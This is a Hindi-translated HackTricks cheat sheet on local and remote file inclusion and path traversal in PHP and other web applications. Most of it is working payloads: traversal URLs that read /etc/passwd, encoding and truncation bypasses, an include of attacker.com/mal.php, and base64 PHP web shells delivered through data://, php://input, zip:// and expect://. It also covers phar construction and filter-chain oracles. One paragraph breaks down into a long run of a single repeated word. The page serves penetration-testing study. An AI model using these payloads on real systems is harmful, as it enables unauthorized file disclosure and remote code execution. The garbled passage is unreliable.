.. | ||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md | ||
lfi2rce-via-eternal-waiting.md | ||
lfi2rce-via-nginx-temp-files.md | ||
lfi2rce-via-php-filters.md | ||
lfi2rce-via-phpinfo.md | ||
lfi2rce-via-segmentation-fault.md | ||
lfi2rce-via-temp-file-uploads.md | ||
phar-deserialization.md | ||
README.md | ||
via-php_session_upload_progress.md |
फ़ाइल समावेश / पथ चालन
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS और HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs कलेक्शन, The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो** करें।
- अपने हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud github repos में PRs सबमिट करके।
HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!
हैकिंग इंसाइट्स
हैकिंग के रोमांच और चुनौतियों में डूबने वाली सामग्री के साथ लीप्त हों
रियल-टाइम हैक न्यूज़
तेजी से बदलती हैकिंग दुनिया के साथ कदम से कदम रहें और अपडेट्स पर अंदरूनी दृष्टि बनाएं
नवीनतम घोषणाएं
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट्स के साथ सूचित रहें
हमारे साथ जुड़ें Discord और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
फ़ाइल समावेश
दूरस्थ फ़ाइल समावेश (RFI): फ़ाइल एक दूरस्थ सर्वर से लोड की जाती है (सर्वश्रेष्ठ: आप कोड लिख सकते हैं और सर्वर इसे क्रियान्वित करेगा)। Php में यह डिफ़ॉल्ट रूप से अक्षम है (allow_url_include)।
स्थानीय फ़ाइल समावेश (LFI): सर्वर स्थानीय फ़ाइल लोड करता है।
यह सुरक्षा दोष उत्पन्न होता है जब उपयोगकर्ता किसी तरह से सर्वर द्वारा लोड की जाने वाली फ़ाइल को नियंत्रित कर सकता है।
वंलरेबल PHP फ़ंक्शन्स: require, require_once, include, include_once
इस सुरक्षा दोष को शोधने के लिए एक दिलचस्प उपकरण: https://github.com/kurobeats/fimap
ब्लाइंड - दिलचस्प - LFI2RCE फ़ाइलें
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
कई *nix LFI सूचियों को मिश्रित करके और अधिक पथ जोड़कर मैंने यह एक बनाया है:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
आप /
को \
के लिए बदलने का प्रयास करें
आप ../../../../../
भी जोड़ने का प्रयास करें
एक सूची जो फ़ाइल /etc/password को खोजने के लिए कई तकनीकों का उपयोग करती है (कि क्या संक्रमण है) यहां मिल सकती है here
Windows
विभिन्न शब्द सूचियों का मिश्रण:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
आप /
को \
के लिए बदलने का प्रयास करें
आप C:/
को हटाने और ../../../../../
जोड़ने का प्रयास करें
एक सूची जो फ़ाइल /boot.ini को खोजने के लिए कई तकनीकों का उपयोग करती है (कि क्या संक्रमण है) यहां मिल सकती है here
OS X
Linux की LFI सूची की जाँच करें.
मूल LFI और बायपास
सभी उदाहरण स्थानीय फ़ाइल समावेशन के लिए हैं लेकिन इसे दूरस्थ फ़ाइल समावेशन में भी लागू किया जा सकता है (पृष्ठ=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
ट्रावर्सल सीक्वेंसेस स्ट्रिप्ड गैर-पुनरावृत्तिकरण
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
नल बाइट (%00)
प्रदान की गई स्ट्रिंग के अंत में अधिक वर्ण जोड़ें (बाइपास: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
यह PHP 5.4 से हल हो गया है
इंकोडिंग
आप डबल URL इंकोड (और अन्य) जैसे गैर-मानक इंकोडिंग का उपयोग कर सकते हैं:
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
मौजूदा फ़ोल्डर से
शायद बैक-एंड फ़ोल्डर पथ की जांच कर रहा है:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
सर्वर पर फ़ाइल सिस्टम निर्देशिकाओं की जांच
सर्वर के फ़ाइल सिस्टम को विशेष तकनीकों का उपयोग करके श्रेणीबद्ध रूप से जांचा जा सकता है ताकि निर्देशिकाओं को पहचाना जा सके, केवल फ़ाइलों को नहीं। यह प्रक्रिया निर्देशिका गहराई का निर्धारण करने और विशेष फ़ोल्डर की मौजूदगी की जांच करने को शामिल करती है। नीचे इसे प्राप्त करने का एक विस्तृत तरीका दिया गया है:
- निर्देशिका की गहराई का निर्धारण:
/etc/passwd
फ़ाइल को सफलतापूर्वक प्राप्त करके अपनी वर्तमान निर्देशिका की गहराई का निर्धारित करें (यदि सर्वर लिनक्स-आधारित है)। एक उदाहरण URL निम्नलिखित ढंग से संरचित हो सकता है, जो तीन की गहराई को दर्शाता है:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- फोल्डर के लिए जांच करें: संदिग्ध फोल्डर का नाम (जैसे,
private
) URL में जोड़ें, फिर/etc/passwd
पर वापस जाएं। अतिरिक्त निर्देशिका स्तर को एक बढ़ाने की आवश्यकता होती है:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- परिणामों का व्याख्या करें: सर्वर का प्रतिक्रिया इसका संकेत देती है कि क्या फ़ोल्डर मौजूद है:
- त्रुटि / कोई आउटपुट नहीं: संभावना है कि निर्दिष्ट स्थान पर
private
फ़ोल्डर मौजूद नहीं है। /etc/passwd
की सामग्री:private
फ़ोल्डर की मौजूदगी पुष्टि करती है।
- त्रुटि / कोई आउटपुट नहीं: संभावना है कि निर्दिष्ट स्थान पर
- रूढ़िवादी अन्वेषण: खोजे गए फ़ोल्डर को उपफ़ोल्डर या फ़ाइल के लिए और भी जांचा जा सकता है उसी तकनीक या पारंपरिक स्थानीय फ़ाइल समावेशन (LFI) विधियों का उपयोग करके।
फ़ाइल सिस्टम में विभिन्न स्थानों पर निर्देशितरूप से निर्देशितरूप से निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
पथ कटौती तकनीक
पथ कटौती एक विधि है जिसका उपयोग वेब एप्लिकेशन में फ़ाइल पथ को मानिपुर्थ करने के लिए किया जाता है। इसका उपयोग अक्सर किया जाता है ताकि निश्चित सुरक्षा उपायों को छलकर फ़ाइल पथ के अंत में अतिरिक्त वर्ण जोड़ने के द्वारा प्रतिबंधित फ़ाइलों तक पहुँचा जा सके। लक्ष्य एक फ़ाइल पथ तैयार करना है जो सुरक्षा उपाय द्वारा संशोधित किया जाए, फिर भी वांछित फ़ाइल की ओर पहुँचाए।
PHP में, फ़ाइल पथ के विभिन्न प्रतिनिधित्व को बराबर माना जा सकता है क्योंकि फ़ाइल सिस्टम की प्रकृति के कारण। उदाहरण के लिए:
/etc/passwd
,/etc//passwd
,/etc/./passwd
, और/etc/passwd/
सभी को एक ही पथ के रूप में देखा जाता है।- जब आखिरी 6 वर्ण
passwd
होते हैं, तो/
जोड़ना (passwd/
बनाना) लक्षित फ़ाइल को बदल नहीं देता। - उसी तरह, अगर फ़ाइल पथ में
.php
जोड़ा जाता है (जैसेshellcode.php
), तो फ़ाइल तक पहुँचने में कोई परिवर्तन नहीं होगा।
प्रदत्त उदाहरण दिखाते हैं कि /etc/passwd
तक पहुँचने के लिए पथ कटौती का उपयोग कैसे किया जा सकता है, जो एक सामान्य लक्ष्य है क्योंकि इसमें संवेदनशील सामग्री होती है (उपयोगकर्ता खाता जानकारी)।
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
इन परिदृश्यों में, आवश्यकता होने वाली ट्रावर्सल्स की संख्या लगभग 2027 हो सकती है, लेकिन यह संख्या सर्वर के कॉन्फ़िगरेशन पर निर्भर कर सकती है।
- डॉट सेगमेंट्स और अतिरिक्त वर्ण: ट्रावर्सल सिक्वेंसेस (
../
) को अतिरिक्त डॉट सेगमेंट्स और वर्णों के साथ मिलाकर फ़ाइल सिस्टम में नेविगेट करने के लिए उपयोग किया जा सकता है, सर्वर द्वारा जोड़ी गई स्ट्रिंग्स को प्रभावी रूप से नजरअंदाज करते हुए। - आवश्यक ट्रावर्सल्स की संख्या का निर्धारण: प्रयोग और त्रुटि के माध्यम से, कोई भी जान सकता है कि रूट निर्देशिका और फिर
/etc/passwd
तक नेविगेट करने के लिए आवश्यक../
सिक्वेंसेस की सटीक संख्या क्या है, सुनिश्चित करते हुए कि कोई भी जोड़ी गई स्ट्रिंग्स (जैसे.php
) को न्यूट्रलाइज़ किया जाता है लेकिन वांछित पथ (/etc/passwd
) अटूट रहता है। - एक नकली निर्देशिका के साथ शुरू करना: एक अस्तित्व न रखने वाली निर्देशिका के साथ पथ की शुरुआत करना एक सामान्य अभ्यास है (जैसे
a/
)। यह तकनीक एक सावधानिक उपाय के रूप में या सर्वर के पथ पार्सिंग तर्क की आवश्यकताओं को पूरा करने के लिए उपयोग किया जाता है।
पथ कटौती तकनीकों का उपयोग करते समय, सर्वर के पथ पार्सिंग व्यवहार और फ़ाइल सिस्टम संरचना को समझना महत्वपूर्ण है। प्रत्येक परिदृश्य कोई भिन्न दृष्टिकोण की आवश्यकता हो सकती है, और सबसे प्रभावी विधि खोजने के लिए अक्सर परीक्षण आवश्यक होता है।
यह सुरक्षा दोष PHP 5.3 में सुधारा गया था।
फ़िल्टर बाइपास ट्रिक्स
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
रिमोट फ़ाइल समावेश
PHP में यह डिफ़ॉल्ट रूप से अक्षम है क्योंकि allow_url_include
Off है। यह काम करने के लिए यह On होना चाहिए, और उस मामले में आप अपने सर्वर से एक PHP फ़ाइल समाविष्ट कर सकते हैं और RCE प्राप्त कर सकते हैं:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
यदि किसी कारणवश allow_url_include
On है, लेकिन PHP बाहरी वेबपेजों तक पहुंच को फ़िल्टर कर रहा है, इस पोस्ट के अनुसार, आप उदाहरण के लिए डेटा प्रोटोकॉल का उपयोग कर सकते हैं जिसमें बेस64 को डिकोड करने के लिए बी64 PHP कोड का उपयोग करें और RCE प्राप्त करें:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
{% endcode %}
{% hint style="info" %}
पिछले कोड में, अंतिम +.txt
इसलिए जोड़ा गया था क्योंकि हमलावर को एक स्ट्रिंग की आवश्यकता थी जो .txt
में समाप्त होती है, इसलिए स्ट्रिंग उसके साथ समाप्त होती है और b64 डिकोड के बाद वह भाग केवल कचरा लौटाएगा और वास्तविक PHP कोड शामिल होगा (और इसलिए, क्रियान्वित होगा)।
{% endhint %}
एक और उदाहरण php://
प्रोटोकॉल का उपयोग न करने वाला हो सकता है:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
{% endcode %}
पायथन रूट तत्व
पायथन में इस तरह के कोड में:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
यदि उपयोगकर्ता file_name
में पूर्ण पथ पास करता है, तो पिछला पथ बस हटा दिया जाता है:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
यह इच्छित व्यवहार है जैसा कि दस्तावेज़ के अनुसार:
यदि कोई घटक एक पूर्ण मार्ग है, तो सभी पिछले घटक छोड़ दिए जाते हैं और जोड़ना पूर्ण मार्ग घटक से जारी रहता है।
जावा सूची निर्देशिकाएँ
ऐसा लगता है कि अगर आपके पास जावा में एक पथ अभिव्यक्ति है और आप एक निर्देशिका के लिए पूछते हैं बजाय एक फ़ाइल के, तो निर्देशिका की सूची वापस लौटाई जाएगी। यह अन्य भाषाओं में नहीं होगा (जैसा कि मुझे लगता है)।
शीर्ष 25 पैरामीटर
यहाँ एक ऐसी शीर्ष 25 पैरामीटर की सूची है जो स्थानीय फ़ाइल समावेशन (LFI) संरचनाओं के लिए संवेदनशील हो सकते हैं (से लिंक):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI का उपयोग PHP wrappers और protocols का उपयोग करके
php://filter
PHP फ़िल्टर्स डेटा पर सामान्य संशोधन कार्यों को करने की अनुमति देते हैं जो इसे पढ़ा या लिखा जाता है। ये 5 श्रेणियों में हैं:
- String Filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: डेटा से टैग हटाएं ("<" और ">" वाले वस्तुओं को)- ध्यान दें कि यह फ़िल्टर PHP के आधुनिक संस्करणों से गायब हो गया है
- Conversion Filters
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: एक विभिन्न इन्कोडिंग में परिवर्तित करता है (convert.iconv.<input_enc>.<output_enc>
)। समर्थित सभी इन्कोडिंग की सूची प्राप्त करने के लिए कंसोल में रन करें:iconv -l
{% hint style="warning" %}
convert.iconv.*
परिवर्तन फ़िल्टर का दुरुपयोग करके आप कल्पित पाठ उत्पन्न कर सकते हैं, जो कल्पित पाठ लिखने या कल्पित पाठ प्रक्रिया को शामिल करने के लिए उपयोगी हो सकता है। अधिक जानकारी के लिए LFI2RCE via php filters देखें।
{% endhint %}
- Compression Filters
zlib.deflate
: सामग्री को संकुचित करें (यदि बहुत सारी जानकारी को बाहर निकालना उपयोगी है)zlib.inflate
: डेटा को अनसंकुचित करें- Encryption Filters
mcrypt.*
: पुरानाmdecrypt.*
: पुराना- अन्य फ़िल्टर्स
- php में
var_dump(stream_get_filters());
चलाकर आप कुछ अप्रत्याशित फ़िल्टर्स पा सकते हैं: consumed
dechunk
: HTTP चंक्ड इन्कोडिंग को उल्टा देता हैconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
{% hint style="warning" %} "php://filter" भाग मामूली रूप से मामूली है {% endhint %}
php फ़िल्टर का उपयोग ओरेकल के रूप में अनियमित फ़ाइलें पढ़ने के लिए
इस पोस्ट में सर्वर से वापसी प्राप्त किए बिना स्थानीय फ़ाइल पढ़ने की एक तकनीक प्रस्तुत की गई है। यह तकनीक php फ़िल्टर का उपयोग करके फ़ाइल का बूलियन एक्सफिल्ट्रेशन (चार से चार) करने के रूप में ओरेकल के रूप में है। यह इसलिए है क्योंकि php फ़िल्टर एक पाठ को पर्याप्त बड़ा बनाने के लिए उपयोग किया जा सकता है ताकि php एक अपशिष्ट फेंके।
मूल पोस्ट में आप तकनीक का विस्तृत विवरण पा सकते हैं, लेकिन यहाँ एक त्वरित सारांश है:
- पाठ के पहले अक्षर को प्रारंभ में छोड़ने और स्ट्रिंग का आकार विस्तारणात्मक बनाने के लिए कोडेक
UCS-4LE
का उपयोग करें। - यह उस समय उपयोग किया जाएगा जब पहले अक्षर को सही रूप से अनुमानित किया जाए कि php एक त्रुटि ट्रिगर करेगा
- डीचंक फ़िल्टर सब कुछ हटा देगा अगर पहला वर्णक्रम न हो, इसलिए हम जान सकते हैं कि पहला वर्णक्रम हैक्स है या नहीं।
- इसके साथ, पिछले वाले के साथ (और अन्य फ़िल्टर जो अनुमानित अक्षर पर निर्भर करते हैं), हमें पता लगाने की अनुमति देगा कि पाठ के शुरुआती अक्षर को अनुमानित करने के लिए पर्याप्त परिवर्तन किए जाने पर नहीं एक हेक्साडेसिमल वर्णक्रम है। क्योंकि यदि हेक्स है, तो डीचंक इसे मिटाएगा नहीं और प्रारंभिक बम php त्रुटि कर देगा।
- कोडेक convert.iconv.UNICODE.CP930 हर वर्णक्रम को अगले में बदल देता है (इसलिए इस कोडेक के बाद: a -> b)। यह हमें पता चलता है कि पहला अक्षर एक
a
है उदाहरण के लिए क्योंकि अगर हम 6 इस कोडेक का उपयोग करते हैं a->b->c->d->e->f->g तो अक्षर अब और भी हेक्साडेसिमल वर्णक्रम नहीं है, इसलिए डीचंक इसे मिटाएगा नहीं और php त्रुटि ट्रिगर होगी क्योंकि यह प्रारंभिक बम के साथ गुणा करेगा। - प्रारंभ में rot13 जैसे अन्य परिवर्तनों का उपयोग करके अन्य वर्णों को लीक करना संभव है, जैसे n, o, p, q, r (और अन्य कोडेक्स का उपयोग किया जा सकता है अन्य अक्षरों को हेक्स सीमा में ले जाने के लिए)।
- जब प्रारंभिक वर्णक्रम एक संख्या है तो इसे base64 एन्कोड करना और नंबर लीक करने के लिए पहले 2 अक्षरों को लीक करना आवश्यक है।
- अंतिम समस्या यह है कि देखना है कि प्रारंभिक अक्षर से अधिक कैसे लीक करें। convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE जैसे क्रम स्मृति फ़िल्टर का उपयोग करके वर्णों के क्रम को बदलना संभव है और पाठ के पहले स्थान पर अन्य अक्षर प्राप्त करना संभव है।
- और अधिक डेटा प्राप्त करने के लिए विचार यह है कि प्रारंभ में 2 बाइट के जंक डेटा उत्पन्न कैसे करें जिसे convert.iconv.UTF16.UTF16 के साथ उपयोग करके, UCS-4LE लागू करके इसे अगले 2 बाइट के साथ पिवट करें, और डेटा को हटाएं जब तक जंक डेटा न हो (यह प्रारंभिक पाठ के पहले 2 बाइट हटा देगा)। इसे जारी रखने के लिए जब तक आप लीक करने के लिए इच्छित बिट तक पहुंच जाएं।
पोस्ट में इसे स्वचालित रूप से करने के लिए एक उपकरण भी लीक हुआ था: php_filters_chain_oracle_exploit.
php://fd
यह रैपर उस फ़ाइल डिस्क्रिप्टर्स तक पहुंचने की अनुमति देता है जिनके पास प्रक्रिया खोली है। खोली गई फ़ाइलों की सामग्री को बाहर निकालने के लिए संभावित उपयोगी:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
आप फ़ाइल डिस्क्रिप्टर 0, 1 और 2 तक पहुँचने के लिए php://stdin, php://stdout और php://stderr का उपयोग कर सकते हैं (यह कैसे हमले में उपयोगी हो सकता है, इसके बारे में स्पष्ट नहीं है)
zip:// और rar://
एक Zip या Rar फ़ाइल अपलोड करें जिसमें एक PHPShell हो और इसे एक्सेस करें।
रार प्रोटोकॉल का दुरुपयोग करने के लिए इसे विशेष रूप से सक्रिय किया जाना चाहिए।
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
डेटा://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
**कृपया ध्यान दें कि यह प्रोटोकॉल php कॉन्फ़िगरेशन द्वारा प्रतिबंधित है allow_url_open
और allow_url_include
expect://
Expect को सक्रिय किया जाना चाहिए। आप इसका उपयोग करके कोड को निष्पादित कर सकते हैं:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
इनपुट://
POST पैरामीटर में अपना पेयलोड निर्दिष्ट करें:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
एक .phar
फ़ाइल का उपयोग PHP कोड को निष्पादित करने के लिए किया जा सकता है जब एक वेब एप्लिकेशन फ़ाइल लोडिंग के लिए include
जैसे फ़ंक्शन का उपयोग करता है। नीचे दिए गए PHP कोड स्निपेट में .phar
फ़ाइल बनाने का प्रदर्शन किया गया है:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
.phar
फ़ाइल को कॉम्पाइल करने के लिए, निम्नलिखित कमांड को निष्पादित किया जाना चाहिए:
php --define phar.readonly=0 create_path.php
जब निष्पादन होता है, तो एक फ़ाइल नामक test.phar
बनाई जाएगी, जिसे संभावित रूप से स्थानीय फ़ाइल समावेशन (LFI) दुरुपयोग के लिए उपयोग किया जा सकता है।
उन मामलों में जहां LFI केवल PHP कोड को नहीं निष्पादित करता है, बल्कि file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, या filesize()
जैसे फ़ंक्शन के माध्यम से फ़ाइल पढ़ने का कार्य करता है, तो डेसीरियलाइज़ेशन दुरुपयोग का प्रयास किया जा सकता है। यह दुरुपयोग phar
प्रोटोकॉल का उपयोग करके फ़ाइलों को पढ़ने से संबंधित है।
.phar
फ़ाइलों के संदर्भ में डेसीरियलाइज़ेशन दुरुपयोग को उत्पन्न करने के लिए विस्तृत समझने के लिए नीचे दिए गए दस्तावेज़ का संदर्भ देखें:
Phar Deserialization Exploitation Guide
{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}
CVE-2024-2961
PHP फ़िल्टर्स का समर्थन करने वाले PHP से किसी भी अर्बिट्रेरी फ़ाइल पढ़ने का दुरुपयोग किया जा सकता था ताकि आरसीई प्राप्त किया जा सके। विस्तृत विवरण इस पोस्ट में पाया जा सकता है.
बहुत तेज सारांश: PHP हीप में 3 बाइट ओवरफ़्लो का दुरुपयोग किया गया था ताकि निश्चित आकार के मुफ्त टुकड़ों की श्रृंखला को बदला जा सके ताकि किसी भी पते पर कुछ भी लिखा जा सके, इसलिए एक हुक जोड़ा गया था जिससे system
को कॉल करने के लिए।
अधिक PHP फ़िल्टर्स का दुरुपयोग करके विशिष्ट आकारों के टुकड़ों को आवंटित किया जा सकता था।
अधिक प्रोटोकॉल
यहाँ और भी यहाँ समाहित करने के लिए संभावित प्रोटोकॉल** जांचें:**
- php://memory और php://temp — मेमोरी में या एक अस्थायी फ़ाइल में लिखें (यह कैसे एक फ़ाइल समावेशन हमले में उपयोगी हो सकता है, इसके बारे में स्पष्ट नहीं है)
- file:// — स्थानीय फ़ाइल प्रणाली तक पहुँचना
- http:// — HTTP(s) URL तक पहुँचना
